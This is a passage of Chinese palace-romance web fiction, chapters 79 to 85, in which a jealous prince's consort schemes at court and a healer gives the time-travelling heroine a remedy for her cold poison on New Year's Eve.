陆天骄继而故作神秘又温婉地道“姐姐有所不知,那个宝蓝色香囊是玥公主在殿下与姐姐大婚前日所赠,殿下似乎……可是很宝贝呢”。 “哦?原来是轩辕玥所赠。哼哼…可这轩辕玥作为一国身份尊贵的公主,她这品位也太差了吧?!如此质地一般的香囊也敢拿来用作大婚贺礼?看来这西秦皇族与我东宁皇族的品位相差甚远啊!”梅汐媛悠悠地说着,脸上露出无尽的自豪和优越感来,嘴角扯出了一抹甚是轻蔑的笑。 说完,这才继续迈步朝韶华阁缓缓走去,俩人边走边聊。 “姐姐可知这个香囊出自何人之手?”陆天骄话里带了一丝诡异的暗示问道。 然梅汐媛似是极为嫌弃般的说“如此这般小家子气的用料和做工,难道不是在街市边的小铺里捡的那些贱民们所使的?”。 陆天骄莞尔一笑,摇了摇头说“妹妹就料到姐姐绝对猜不出。这个香囊乃是衣上云那个丫头亲手所制,却是借了轩辕玥之手碾转到了殿下的手里”。 梅汐媛这才恍然大悟道“原来如此,难怪他方才对我发那么大脾气。竟因如此粗陋不堪的一个香囊而当着下人的面吼我。看来…这个衣上云,殿下是真的很上心……轩辕玥...她倒真的很是热心嘛,原来她也有份。我这堂堂秦王正妃还没进门呢,她便急着给她的皇叔找起侧妃来了,还是衣上云那种身份卑微的奴才。这天下的贱民果然都是一丘之貉,都梦想着飞上枝头做凤凰…哼哼…”。 片刻的沉思后,梅汐媛忽然抬眼看着陆天骄笑了笑,这笑犹如猫的媚眼般闪亮,却让人不禁打个寒 颤,浑身的不自在。接着,她说“看来妹妹对这事儿早就是知情的?”。 陆天骄知道梅汐媛是在责怪自己为何当时没有暗示提醒她,这才让她今天在轩辕翰面前如此狼狈,亦是又一次增加了俩人之间的隔阂。 一边说着,转眼俩人便已回到韶华阁里。 新年将至,寒意也愈来愈浓。一进门,婢女便奉了热茶上来,陆天骄看见急急上前伸手接过,将一杯刚沏好的漂浮着成朵芽叶、苍翠绿润、香气宜人、汤色嫩绿明亮、色泽毫白如玉的玉露茶,恭恭敬敬地递到梅汐媛面前。 梅汐媛伸出一只纤纤玉手懒懒将其接过,脸上拂过一抹淡淡的笑,像是对陆天骄此时毕恭毕敬的认错态度很满意。随即轻轻掀开茶盖,享受起那醇和的茶香来。 陆天骄见其怒意渐消,这才开口解释“姐姐,天骄起初也只是怀疑,可依今日殿下的盛怒看来,这绝对是出自那贱蹄子之手,殿下以前对这些女红的小玩意儿可一向都不上心的”。 说话间,又一婢女进来递上一只造型精致的凿花暖手炉在梅汐媛手中,又接过了她手里的茶碗便退了下去。 梅汐媛一边听着陆天骄所说,一边心想,眼前这个女人竟留了一手,让她在轩辕翰面前做炮灰,自己却躲在后面看热闹。 明明她心里是怒着的,可是她还是极力隐忍着。随即伸出玉手轻柔地拨弄着暖手炉里面的霜枝炭,以让其燃得更旺。 沉默了片刻后,她告诉自己,罢了,这个女人且还有她利用的价值,这笔账以后慢慢与你算! 于是,她笑着说“妹妹不要误会,姐姐只是随便问问,姐姐自是相信妹妹,才敢将妹妹留在身边。今日妹妹也受累了,快去歇会儿吧!姐姐也要紧着歇会儿,过会儿还要随殿下一起进宫去”。 “如此,那妹妹便先回去了,姐姐也好好歇息会儿”陆天骄说完眼里夹杂着一丝疑虑便欠身退了下去。 梅汐媛看着她离去的背影,露出一丝森冷恨恨的目光。 “王妃娘娘”赵嬷嬷急急进来朝梅汐媛唤道,与陆天骄擦肩而过,似是有意看到她离去方才进来的,一副极为谨慎的样子。 到了梅汐媛跟前,朝其使了个眼色,梅汐媛知道这是暗示她有重要消息传来。 梅汐媛见陆天骄已彻底走远这才一脸严肃的问道“是不是皇兄有消息传来?”。 赵嬷嬷这才将一封密信拿了出来递到梅汐媛面前,压低了声音说“三殿下刚派人送过来的密函,要公主务必尽快办妥”。 “哦?什么事情如此紧急?”说着便迅速接过密信,将其拆开来,一双美目在纸上认真的移动着,然越往下看她的眉头便随之皱地愈紧。   第八十章:狐狸尾巴快要露出来了 冥冥之中... 有些事,你越担心它发生,它就更可能发生; 有些人,你越是在乎想要牢牢抓紧,他便越是与你渐行渐远,甚至消失不见; 这样的人和事,世间又岂止梅汐媛一个,还比如此时这个百草谷的女子。 时间已至午时三刻,眼看就要到正午了。 百草谷里,紫苏和白芷今日也特意身着了刚新制的极为喜庆的红色衣裙,高高的发髻上也都各簪着一支嵌有红梅的短流苏银发簪。 此时,俩人正飞奔在逍遥阁里里外外,忙的不亦乐乎。 而逍遥阁里面最角落处,一间不起眼的暖阁中,一袭象征性的朱红色锦袍完美彰显其妖艳和潇洒不羁的易君浩正端坐其间,满心欢喜和期待地对着手里的一个玉色小药瓶痴笑着。浓黑的眉毛下,两道细长而又迷人的桃花眼半眯着,一副极为入神的样子。 ‘皇天不负有心人’他终于按期成功的配制出,这能让丫头双腿获得新生的神药。 今日,是他与丫头早已约定好的,一起共度除夕夜的日子。而一想到丫头很快便能像从前一样健健康康的站在他的面前,那双眼睛便不由自主地发出一道亮光来。 “紫苏,这每到过年的时候,三少总是最兴奋的一个,又是安排这个又是交待那个的,好似还不放心我们,硬是要自己抢着布置,可今年怎么都到这个时辰了还一动不动呢,竟连人影都看不到”白芷手里拿着一张红红的福字贴,好奇地问着身旁的紫苏,眼睛时不时朝四下里瞅瞅。 紫苏想了想,亦是感觉有些奇怪,从早饭后到现在就一直没见到易君浩的身影,便将手里端着的半碗浆糊塞到白芷手中,却换了白芷手里的福字贴对她说“我去看看”,便一溜烟地朝逍遥阁里面奔去。 她一间一间仔细地寻着,终于在最后角落的那间暖阁中看到了自己最熟悉的背影。 于是,便拿起手中的福字贴佯装着笑盈盈地问“三少,快看看这福字贴,紫苏贴的可还齐整?”。 “很好...很好”易君浩背对她坐着,心不在焉头也不回地随意答道。 紫苏听了,脸上的笑意顿时淡去,露出一丝不悦,随即轻轻走过去在他身边。 这才看到原来易君浩只顾着紧紧捏在手心里的小药瓶,一脸痴傻的沉迷其中对其发呆,竟糊弄着对付了她的问话。 含情脉脉又带些埋怨地站着他身后许久,紫苏才问他“三少预备何时将这药送给衣姑娘?”。 易君浩仿佛这时才醒过神来,于是一个急转身,像是才发现紫苏进来。接着只对其淡淡一笑道“辞旧迎新,今夜便给丫头施药,明日早起一睁眼,她的腿定当痊愈,宛若重生”。 “今夜?!”紫苏 听后,惊道。 “对,就是今夜”易君浩等这一刻已经等了太久,根本没有发觉此时紫苏脸上一脸的不悦与惊讶。 “可是……” 紫苏正想开口劝其与她和白芷俩人同往年一样,共度除夕佳节,一起守岁,可易君浩已然快速起身来,随即将一只有力而不失温柔的大手搭在了紫苏的肩上,用极为温柔的眼神含笑着轻轻对她说“今夜除夕的年夜饭,你们不必等我了,新年快乐!”。 说完,易君浩便急急踱步走出了逍遥阁。紫苏一脸失落的看着其远去的背影,目光又落回易君浩方才大手落在自己肩上的位置,手中的大红福字贴悄悄滑落在冰冷的地上。 “紫苏,紫苏...”片刻后,传来白芷在逍遥阁里到处慌慌张张地呼唤声。 一到角上这间暖阁的门口,看到地上掉落的福字贴,再抬头看看眼前失神落寞极了的紫苏,她吓了一跳,连忙走近关切道“紫苏你怎么了?”。 紫苏这才眨了眨眼,眼神里有些悲伤的淡淡道“我没事,有些累了而已”。 白芷生性单纯,听了紫苏的话权当是她今日里操劳过度,便急忙上前将其扶住,这才焦急又有些激动地说道“三少刚刚问我要了你方才煎制好的阳和汤,但是他好像出谷了。今天是除夕耶,以往除夕整日他都是在谷中与你我共度的啊,今年他这是怎么了?”。 就在白芷不明其意暗自纳闷琢磨着的时候,紫苏淡淡地开口道“今年三少不会跟我们一起过除夕夜了。走吧,我饿了,去吃饭吧”。 于是,俩人便挽着胳膊朝东侧的庖屋走去。 日影西斜,程良带着些许不安的情绪进入承华殿。朝主子恭敬行礼后,有些无奈地催促道“殿下,是时候该入宫了,王妃娘娘在门外已经等候多时”,说着,眼睛朝门口微微斜了一眼。 如今虽已是新春佳节,普天同乐的时候,然轩辕翰依旧如常的勤于公务,处理着来自西秦各地方呈上来的紧急事务,程良亦是已在殿外守了半天看到他稍作歇息,这才进来打扰。 然轩辕翰却并不着急,只开口问他“衣府那边有什么动静吗?” “目前还没有,殿下放心,属下已经派了得力的人盯着,一有风吹草动便会立马来报”程良知道轩辕翰终是不放心衣上云的安危,便派了自己最得力的手下去守着衣府。 轩辕翰听了方才安心下来。于是,他拿起书案上的一封密信递向程良,说“这是我们安在北烈国的细作刚刚提供的一张北烈大皇子拓跋泽的画像,你吩咐下去,无论如何,尽快把他给本王找出来,这个人太危险了!”。 程良伸手接过取出画像 第八十一章:在西秦的最后一顿年夜饭 除夕年夜饭,宫中大设家宴,地点就设在太后的永安宫内。 皇宫里里外外布置的也极为喜庆,全都换上了火红的宫灯。原本就金碧辉煌的宫殿内,此刻更是被照的灯火通明,恍若白昼。 太后、璟帝、皇后还有各宫的妃嫔及皇子公主们再加几个重臣无一不盛装出席。 节日的喜悦飘扬在每个人的脸上,大家齐聚一堂,举国同庆,辞旧迎新。 璟帝面南而坐着,身旁的大宴桌上,由外到里布满各式荤素冷膳,热膳、炉食、包子、米面点心、小吃等。 为示秦王位高权重,也表自己善待他这个唯一的皇弟。虚伪的璟帝特意将秦王轩辕翰的位置设在自己旁边,与他同桌而食。 外表一脸慈祥和蔼可亲的太后,不停地朝所有人点头微笑着,看起来心情极好。 这全是由于她最为宠爱的皇孙,常年在外游历的太子轩辕昊的平安归来,更是因为本以为轩辕昊身染天花将无缘今年的除夕家宴,却奇迹般的如期痊愈了。 头戴由无数珍珠宝石镶嵌而成彰显其威严的精美龙凤冠,气度雍容沉静的皇后亦是笑容可掬的端坐在太后的旁边甚感欣慰着,时不时与太后相视而笑交流着。 其他各宫主子也在底下议论着今年她们宫中得了多少年赏,无论是否丰厚,也无论是真心还是假意,脸上也多是笑意,皆满心欢喜着。 与往年不同的,是这盛大的家宴上今年增加了两个新面孔。一个是终于可以从此不再四方游历的太子轩辕昊的归来,另一个也是第一次与轩辕皇族共度新年的秦王妃梅汐媛。 此刻,她就坐在皇后的另一旁。 家宴正式开始,欢庆的宫廷鼓乐奏响,伴随着美妙的曲子,一群身着粉色衣裙略显单薄飘逸的貌美女子,踏着宛若游龙的舞步来到大殿中央悠然起舞,翩若惊鸿。 众人共同起身举杯“愿我西秦来年风调雨顺,百姓安居乐业”随着这一仪式,晚宴便正式开始。 皇后含笑一边饮着手里杯盏中的美酒,一边欣慰的看着她的一双儿女。 当目光移到轩辕玥身上的时候,心里顿时生出一丝忧伤来,脸上的笑容也减了许多。 轩辕玥此时心里也不好受着,她心知肚明,如今的自己已是箭在弦上,不得不发。待到使臣与东宁国谈好和亲的具体事宜,自己必定是要远嫁他乡,从此,再也不可能有机会与在座众人一同共度此良宵了。 想着想着,她便放眼看向在座的每一个自己喜欢或者不喜欢的面孔。 因为,这将是她对这从她一出世便熟悉的不能再熟悉的地方最后的记忆,她想要努力记住每个人的一颦一笑,好在自己以后孤独而又漫长的一生里用来回忆…… 可是看着看着,她的眼睛不禁被自己管不住涌出的泪水悄悄打湿,她连忙低下头抬起手背将泪水抹掉,不被人发现。 但还是被细心的皇后和太后不约而同的看到,俩人方才还好端端挂在脸上的笑容亦是瞬间僵住。 却又似乎都不知该说些什么,劝些什么,唯留各自一声深深的叹息…… 这不适时宜的场面,被一旁的梅汐媛看到。她见在座众人皆是交头接耳着,各自有各自的活动和话题,而当她忽然看向身旁的太后和皇后时,正好看到她们看轩辕玥的表情和轩辕玥自己脸上的失落,梅汐媛心里似是猜到了几分,便开口打破了这沉闷的气氛。 梅汐媛执起杯盏莞尔一笑,说“汐儿敬母后,皇嫂一杯,愿母后、皇嫂在新的一年里身体康泰、事事如愿” 这话一出,那三人方才缓过神来。 太后赶忙重新挂起笑容笑呵呵地说“汐儿有心了”。 皇后亦是举着杯含笑对其颔首,说话间,三人便将各自杯盏中的美酒一饮而下。 片刻,皇后关切道“秦王妃至今还没消息吗?” 梅汐媛聪慧,当然听得懂皇后在说什么,太后听了亦是向她投来质问的眼光。而方才还在一个个交头接耳津津乐道着的众妃嫔们,听到皇后问及如此有爆炸性的问题,亦是瞬间都收了声,鸦雀无声,都静待着这富甲一方的东宁公主将如何作答。 稍作思量,梅汐媛佯装有些自责地道“臣妾惶恐,因身子一直都不见大好,故不敢在此时有孕,万一期间要是有个什么闪失,那汐儿就罪该万死了”。 皇后方才因轩辕玥的事走了神,这才想起,梅汐媛之前一直说自己身子不好,还亲自到宫里讨了医女回去。这才言道“瞧瞧本宫这记性,竟把这茬给忘了。这倒也是,还好赐给王妃的医女不日便要入王府了,到时候一定得好好给王妃调养调养身子。这秦王也不小了,王妃该争取早日为轩辕皇族开枝散叶才是”。 皇后话音刚落,太后亦急急劝慰道“秦王妃不必着急,且放宽了心,秦王妃跟秦王都是血气方刚的大好年华,先让医女把身子给调养好了。这唯有一块良田方能长出好的庄稼来。看我们秦王殿下英勇神物、气质尊贵、播下的必定是极好的种子,秦王妃就安心吧”。 太后这话一出,在座嫔妃的脑中即刻开始浮想联翩。太后所说的那可是世间女子心中,无一不心仪的冰冷俊美 第八十二章:第一次包饺饵 轩辕翰对衣上云的心思,这件事情可大可小,在轩辕翰未亲自对外做任何公示前,一切自是不能妄言。 轩辕昊意识到轩辕玥的暗示后,随即压低声音猜测道“可这丫头似乎并不把我们尊贵的秦皇叔放在心上呢” “你怎么知道云儿不在乎秦皇叔?”轩辕玥有些感兴趣。 轩辕昊想了想,说道“东华宫前些日子被隔离的时候,皇弟本想与她讲讲秦皇叔的过往,让她多了解皇叔一些,可她无论如何都不愿听,还说什么不敢对皇族之人存有越过本分的念头。但却对那只颇具灵性的玉镯尤为看重,还告诉皇弟它乃是一重要的人所赠,依皇弟猜想,这一定跟那送她玉镯的人有关,不会是…” “云儿她已经有心上人了” “云儿她已经有心上人了” 轩辕玥与轩辕昊若有所悟,异口同声惊叫道。 “谁已经有心上人了”俩人突然发出的一声惊叫,被旁边的皇后听到,震惊地看着他们问道。 轩辕玥连忙惊慌的站起来,回道“母后,玥儿跟皇弟这是在讲故事呢”,她边说边看旁边的轩辕昊,轩辕昊忙用力点头。 皇后对其无奈的摇摇头,有些责备地说道“都这么大俩个人了,还如此好玩!” 轩辕昊顽皮的吐了吐舌头,然皇后说完心中又浮起了万般不舍,叹了口气暗自道“俩个都还只是个顽皮的孩子而已,可很快便要分开了。这一别,许就是一生了……” 敷衍逃过了皇后的质问,轩辕玥微微挪了诺身子,离轩辕昊更近了些,这才压低声音向其继续问“这个秦皇叔应该不知道吧,他要是知道了不晓得会做出什么事来?秦皇叔在与云儿有关的事情上可是完全没有理智可言的” 轩辕玥想起之前轩辕翰各种出乎人意料,跳脱的举动,至今想起来都不寒而栗。 轩辕昊忽然朝轩辕玥露出一抹搞怪的笑容“嘿嘿…所以皇弟才要与那东宁公主套近乎啊”。 轩辕玥疑惑“这与她又有何关系?” 轩辕昊却不急应答,径直伸手拈了颗面前案几上的花生在指尖绕着却不吃,似是在思考些什么,现出一副小大人的模样。 片刻后才朝其解释道“皇姐,你想啊。云儿现在在秦王府,如果想要帮她,我们就只能去秦王府啊,那是不是得先稳住我们这个已经先入为主了的皇婶,降低她对我们的戒备之心,以不至于我们日后在秦王府连云儿的面都难以见到呢?!” “帮她?皇弟真想撮合秦皇叔和云儿?”轩辕玥恍然大悟道。 只见轩辕昊忽然抬头转眼看向高高在上,一人之下万人之上的轩辕翰,他正在与璟帝交谈。半天后一本正经地说“皇姐,你不觉得秦皇叔太孤独了吗?那样冰冷的 一张脸和性子,该是承受了多少生命里不能承受之重,才会显得如此孤寂” 轩辕玥听到这话,迟疑了一下,亦缓缓将头抬起,一双古灵精怪的眼睛竟也有如此悠长而又夹杂着淡淡悲伤的时刻。 过了会儿,她口中徐徐道“或许,只有云儿才是他此生的守护神,唯有她在身边他才会敞开心扉,像一个正常人一般有着喜怒哀乐” 轩辕昊闻之,收回视线落在轩辕玥的脸上,嘴角勾出一抹会心欣喜的笑“皇姐这是也答应了要帮他们咯?” 轩辕玥依旧望着那高高在上的俩人,眼睛一眨一眨,却没有说话,因为此时她自己都不知道自己在西秦的时日还有多少,又如何承诺别人什么呢? 城西衣府里,亦是处处张灯结彩,洋溢着浓浓的新年喜庆气氛。 一大早天还没亮,佣人们便早起洒扫门闾,去除尘秽,洁净庭户。 又赶在正午时分之前,换门神、挂钟旭、贴春联、张贴“福”字、再将火红喜庆的灯笼高高挂起,个个忙的不亦乐乎,终于在一阵震天响亮的爆竹声中辞去一旧岁。 到了黄昏时分,府里在家主衣上坤的主领下进行了一场颇具声势的祭祀活动,接着便是一年中最丰盛也是一年年末最重要的年夜饭时间。 去年新年,原主是昏迷的,饭桌上衣上坤和年氏心里免不了一份落寞和忧愁。但今年衣上云的清醒无疑让她们心中深感欣慰。 所以年夜饭过后,府里上下每人都按例得了一份大红包,似是都很高兴和满意,个个都喜逐颜开着。 此时,见大家的节日兴致还都尚浓不减。于是,府里这会儿暂时没差事的丫鬟们都纷纷随着庖娘聚在庖屋里一起包起大年初一家家户户必要食用的饺饵来。 包的时候,有人还故意将铜钱、糖、花生、枣和栗子等包进馅里。 燕儿手里拿着饺皮,上面放着羊肉陷,另一手正拿着一颗蜜枣一边往里塞,一边满脸欣喜道“据说吃到铜钱的人,来年一定会发财;吃到糖的人,明年的日子会更甜美,吃到花生的人将健康长寿,吃到枣和栗子的人将早生贵子……” “燕儿是想嫁人了不成?!”话还没说完,旁边一年龄稍长她些的庖娘盯着她手机紧紧捏着的蜜枣打趣道。 “胡说,哪儿有的事?”虽只是人人皆知的风俗戏言,燕儿今日却被玩笑了,小姑娘瞬间羞得露出一脸绯红。 & 第八十三章:同是天涯沦落人 到了明月阁里,燕儿极为麻利地帮衣上云换上一袭新制的藕粉色衣裙,外面又披上一件厚重的红底绣着几株白梅的锦缎斗篷,最后再兜好风帽,这才扶着她匆匆出了门。 院子里万籁俱静,只偶尔闻得有风吹落了几株白梅枝上的积雪发出簌簌的轻声。 主仆俩人走在通往前厅的回廊上,衣上云悄悄望了望四周,见并无他人,这才压低了声音嘱咐道“燕儿,若是有人等会儿上门来寻我,你就告诉他我临时有重要的事情外出,很快便会回府,叫他留下地址,我自定会履行承诺前去赴约”。 燕儿一听,立刻想起了前几日衣上云说与人约好了除夕夜要一同守岁的事情,便惊喜地道“小姐说的可是易三少?” “嘘…”衣上云立刻将手指按在唇上,看着燕儿的眼睛示意她小声说话。 燕儿自知失言,迅速伸手将嘴捂了。接着,俩人一同歪着脑袋再次朝四周里张望了下。 片刻后,燕儿方才低声说道“小姐放心去吧,燕儿知道该怎么做。” 衣上云看着燕儿此时人小鬼大的模样,对她含笑不语,只用手指轻轻刮了刮她的鼻梁。这才笑着有些安心的继续迈步向前厅走去。 待到她再次回到前厅后,衣上坤便急急起身来亲自送衣上云和薛掌柜出门。 可一出来衣上云却看到衣府门口旁,此时停着的这辆马车似是有些熟悉,可又不知道是不是因为夜晚光线的影响,她又好似不是很确定样子。 就在她迟疑纳闷之际,薛掌柜笑着催促她,道“衣大小姐,请上车吧!”说完,便要伸手去扶她。 这时,燕儿眼疾手快地从衣上坤的身后急急跑上前去,搭手着将衣上云搀扶送上马车。 衣上云坐在车里朝燕儿使了个眼色,燕儿会心地点头回应了她,示意她放心。 就在这时,薛掌柜笑着拱手与在侧的衣上坤道别“衣老爷,告辞了” 衣上坤亦儒雅地颔首作揖致谢,道“有劳了”。 薛掌柜含笑轻轻点头后,便转身亦上了马车。 随后,一个年轻的车夫缓缓放下车厢的门帘,跟着便熟练地驾起车来渐渐消失在这朦胧的夜色之中。 看着马车离去的背影,衣上坤朝其一脸悠长地叹了口气。 心想,但愿这位世外高人真的能医好这个可怜的孩子,真不知她这一生到底是幸还是不幸。现在也只不过短短的十几年,便发生了这么多事,遇到了这么多不该遇到的人…… 想着想着,竟似有些无可奈何的摇起头来。 燕儿在其身旁看见,嘟着小嘴忧伤而又好奇的问“老爷,你说真的有世外高人能医好小姐的腿吗?小姐的腿近来是越来越不好了,每日里都很难站稳一会儿了。虽然她 总是想方设法的掩饰着不让燕儿发觉,以免燕儿难过,亦怕老爷夫人知道了伤心,可燕儿其实什么都看到了。小姐怎么会如此善良又坚强呢?这要是一般的府里娇小姐摊上了这事儿,不是已经万念俱灰自暴自弃就是早已整日里暴跳如雷了。可小姐却能独自忍耐这么久,难道好人真的得不到好报吗?”燕儿含着泪说完这段话。 “总是为了别人的事,义无反顾,她就跟她当年那可怜的娘一模一样……”此情此景,再加上燕儿方才发自肺腑的一番细语,衣上坤显然有些走神,然说着说着却噶然而至,脸上露出一丝不安的神色。 “跟她当年那可怜的娘?老爷这话是什么意思?”纵然如此,燕儿还是听出了些许端倪,这会儿歪着脑袋凝视着衣上坤的眼睛问。 衣上坤自知自己一时间忘情失了言,被这个小丫头发觉,他的眼光不禁朝四下里微微躲闪着,口里只敷衍道“意思就是从前没有衣府这所宅子的时候,光景不好,夫人很可怜” 而刚被敷衍过去的燕儿却忽然又问“其实老爷嘴上不说,但是心里却对大小姐格外好,对吗?”。 此时,衣上坤也似是已调整好自己,开口回道“天下做父母的,哪有对自己子女不好的呢?”。 然燕儿却瞬间沮丧伤感地道“当然有,燕儿的父母就对燕儿不好,燕儿都长这么大了,甚至都已记不得自己的父母长的什么模样,高低胖瘦、富贵还是穷苦、他们为何不要燕儿,要将燕儿抛弃。既然不要燕儿,又为何不一生下来便狠心结束了燕儿的生命,让燕儿孤苦伶仃无依无靠地一个人在这世上活着。若不是老爷夫人和小姐收留,燕儿怕是至今都还是个沿街乞讨任人欺辱的叫花子吧”。 衣上坤见燕儿想起过往悲伤不已,便安慰道“想必你父母也是有难言之隐的,这世上每个人都会有孤立无援的时候,每个人也都会有无能为力的事情”。 然燕儿此时却一发不可收拾,继续发泄“孤立无援…无能为力…难道这些就可以作为他们不负责任的借口吗?连自己亲生骨肉的安危都保护不了,还有何资格为人父母?” 一说到保护,燕儿忽然想起与自己相依为命般的小主子,她刚一生下来还是襁褓里的婴儿时,脸上被人当着其父母的面下毒。 忽然,燕儿脸上生出一副极为怨恨的眼神来。狠狠地瞪着眼前的衣上坤质问道“老爷,你为何在别人向小姐脸上下毒的 第八十四章:郊外,神秘的世外高人 伴随着“噼里啪啦”的声响,一朵朵五颜六色的烟花在不远处寂静的夜空中犹如天女散花般飞升降落着。 衣上云静静地抬头仰望着眼前的这片夜空,出神地凝视着,不知道在沉思些什么。烟花虽美,但她心里却无比落寞着。 身旁的薛掌柜却是一直淡淡地笑着,一边端详衣上云那遮着纯白面纱的脸庞。 烟花消失了半天后,衣上云忽然醒过神来,这才发现马车此时所驶向的方向并非城内,而是朝着北边的郊外方向而去,她一直以为那位世外高人会是在城中的百草堂里候着的。 于是,她急转回身不解地朝薛掌柜问道“薛掌柜,那位世外高人难道不是在百草堂吗?我们现在这是要去哪里啊,这好像不是去百草堂的路呢?” 薛掌柜有些神秘地笑了笑,摇摇头道“这世外高人,自是向来都不喜城中嘈杂,能在百草堂遇见他,已属不易。而能将其留在西秦北郊须臾,已是很值得庆幸了。喔...这也是高人的意思,想必他自有道理吧,大小姐放心便是。” 衣上云听了眉头微微蹙起,显出一脸狐疑。可细细一想,却又觉得薛掌柜与父亲相识不浅,不应是歹人,况且他是易君浩所信之人,必是也不会对她有所不利,生意人,心眼总归比她多,想的也比她周全。 于是,也便慢慢安下心来,只等着稍后一睹这世外高人的庐山真面目了,不知其本尊到底是何方神圣? 推杯换盏间,酒已过三巡,永安宫内,依旧歌舞升平,把酒言欢着。 此时,璟帝和轩辕翰俩人凑在一起,不知道又在议论些什么国家大事,旁人也都是爱莫能助。这二人所议之事必是非常重要的事,自是也没人敢打扰。 忽然,程良从一旁绕到轩辕翰身旁耳语片刻。随即,便见轩辕翰与璟帝行礼似是要告退而去。 梅汐媛看见,急急抬高了眉眼朝其眼巴巴的望着,不知道发生何事? 随后,只见璟帝微微颔首,轩辕翰便急急起身大步走了出去。 梅汐媛亦赶忙急急起身,可转眼间一抬头,轩辕翰早已不见了身影。 “秦王妃不必担心,秦王许是有要事要办,你且安心呆在宫里,不会有事的。若是过会儿太晚了,今夜就留宿在哀家宫中,哀家也正想好好与你说说话呢”太后见其神色不宁的样子,便出言劝道。 太后都如此说了,梅汐媛自是也不能拒绝。毕竟她作为皇族新人,第一年参加如此重要的家宴,提前离席总归是不合适的。便只好又重新坐了下来,心却早已不在这儿了。 轩辕翰和程良一出宫便急急策马朝北郊方向而去,因为收到暗卫刚刚报来的消息,衣上云被百草堂薛掌柜接出了衣府。 没多 久,俩人便追了上来,此时正远远地跟在前面的马车之后。 “殿下,这大过年的,那个易三少到底要带衣姑娘去哪儿啊?他想做什么?”程良心里有种不好的预感。 而轩辕翰只自顾自目不转睛冷冷地盯紧着前面的马车,他忽然发现,这一切像是易君浩故意安排的,其实马车里的人知道已经被人跟踪了,或者说故意引着他们。 他的直觉告诉他,易君浩是可以信任的,但他也不知道自己为何还要派人守着衣府,更没想到会被他们牵着鼻子走,竟来跟踪他们。 冥冥之中,其实还不是因为他心中对衣上云的那份霸道,是他不愿任何人借以任何理由而接近她。 许久后,他才幽幽地对身边的程良说道“他应是已经制好了药,今夜就要给她服了” “今夜?那便是说衣姑娘的腿疾很快就会好咯,太好了!”程良听了甚是激动,用力扯起手中紧握的马缰绳来。 可仔细一想,又觉得有些不对劲,便又问“可这既然是医病,又为何派薛掌柜将衣姑娘带至这荒凉的郊外呢?连个人影都看不见” 轩辕翰自是也不知道其中原由,便不再作声,程良也不再问,只悄悄追随。 马车到达北郊后,又转了好几道弯,直至已经看不到任何人烟和建筑了。这时,到了北郊西边一处静谧的孤山脚下,马车忽然停了下来。 衣上云急道“薛掌柜,我们是不是到了?”。 薛掌柜笑着朝其点头答应道“到了,到了。大小姐下车后,沿着这条山路往前再走三百米,有一空旷的平地,那位世外高人便在那里等着,高人施治时不喜有人在旁打扰,所以只能委屈请大小姐自此独自前往了,马车就停在这里等大小姐痊愈归来”。 衣上云心想,这世外高人竟都一个样,故作玄虚,也不知到底医术如何?不过,既然自己已经来了,势必一定要见他一见,看看他到底有何过人之术,竟敢口出狂言,能治愈她如此严重的寒毒。 思量之际心一横,便起身来撩起斗篷动作敏捷地跳下马车,薛掌柜随即吩咐年轻车夫递给她一盏印有朵朵红梅的四角灯。 “多谢”衣上云莞尔一笑,伸手接过并向其致谢后,便转身朝着面前仅有的一条小道而去。 夜晚的郊外荒无人烟,便也更多了几分寒冷之气。这座孤山并不高,但阵阵寒风还是吹得她脸上露出了一丝不悦。 &n 第八十五章:神药,是真是假? 衣上云嘟着嘴,疑惑地问道“三少也相信此药真有那般神奇吗?” 易君浩笑着颔首回应她,继而伸出一只大手到她面前示意,接过她手中的红梅四角灯。 只见衣上云满脸狐疑地拔开瓶塞,靠近鼻翼闻了闻,就凭她这个21世纪的医学高材生,国内名企制药集团ceo,无论何种中成药,她只要一闻便能准确的猜出其成分配比来,是许多同行极为艳羡的本事。 可这会儿,她忽然蹙眉喃喃道“鹿角片、熟地、炮姜、麻黄、肉桂、甘草、白芥子、川牛膝、地鳖虫、防风、独活,这不是阳和汤吗?功效温阳散寒祛湿,活血化瘀通络。怎么可能对她所患的如此严重的寒毒有用,看来今夜真的是白跑一趟了。不过,竟会在这里遇到易三少。也罢…就当作此次前来这里是兑现自己对他当日的承诺,陪他来过除夕的吧。这样想,倒也似乎不算是真的白跑一趟了。” 想透了后,她的眉头方才又渐渐舒展开来。 易君浩看到了她的喃喃细语,便开口好奇地问道“你方才在说什么?” 衣上云一回神,笑着对他说“喔,没什么。我方才仔细闻了闻这药,感觉好像特别苦的样子。” 易君浩一听,宠溺的眼神立刻浮现,随即亲昵地揩了揩她的鼻子,说道“良药苦口,不知道吗?糖果虽甜,能祛病吗?” 这话一出,衣上云瞬间怔住,一股浓浓的乡愁浮上心头。 她想起21世纪里,每当她生病害怕打针也害怕吃药的时候,妈妈也是这样对她说的,就和此时易君浩说的话一字不差。 她曾经独自拿着注射液在去医院的半路上,就已经将其偷偷丢掉,然后佯装已经打过了针欣然地回到家里; 还曾将极苦的西药片乘妈妈不注意的时候,偷偷塞进自己衣兜里,可后来竟忘了丢掉,被妈妈洗衣服的时候将衣服口袋染成褐色,妈妈最终还是发现了; 也曾在傍晚,天色已有些昏暗的时候,为了服一碗很苦的中药更是选择蹲低在树底下,这样便能一边佯装着服下的姿势而一边则是将药汤让树根替她服下。还幻想着,树服了这药,便会幻化为树精,拥有超级魔法与她为伴玩耍嬉戏。 …… 一切的一切,最终的结果却是此后每逢服药,妈妈都会亲自站在自己面前监督着,又是检查嘴巴又是检查手心的,唯恐她继续再暴殄天物。 想着想着,她的眼睛不禁变得湿润起来。 易三少察觉了她的不对劲,连忙紧张而又心疼地问“丫头,你这是怎么了,你不要哭啊。你相信三哥哥,这药一定可以治愈你体内的寒毒。三哥哥发誓……一定可以的。” 说着,便急急伸手去帮她抹掉挂在眼角的泪 珠,衣上云泪眼摩挲,楚楚可怜地看着他。 半天后,她吸了吸鼻子对易君浩说道“三少,谢谢你”。 易君浩自是不高兴她总是说这三个字,却也在她刚刚梨花带雨后不想再责备她。只催促着道“听话,赶快将这药服下,三哥哥有惊喜送你,这样丫头便不会觉得苦了。” 他哪里知道让衣上云潸然泪下的真正原因,是出自自己方才一句最无心的话呢。 于是,便见衣上云轻轻拂起面纱一角,随即微微抬头将小瓷瓶的药一饮而尽。 易君浩看着眼前温顺听话的衣上云,一脸宠溺的笑着。 “嘭…”就在这时,衣上云身后一声巨响。 她闻声迅速一个转身,只见眼前的平地中间此起彼伏,正升起一朵朵五颜六色绚丽的烟花来,其耀眼的火光直冲天际,响彻云霄,将整片夜空瞬间点亮。 衣上云抬头仰望着夜空,不禁口中喃喃道“好美……” 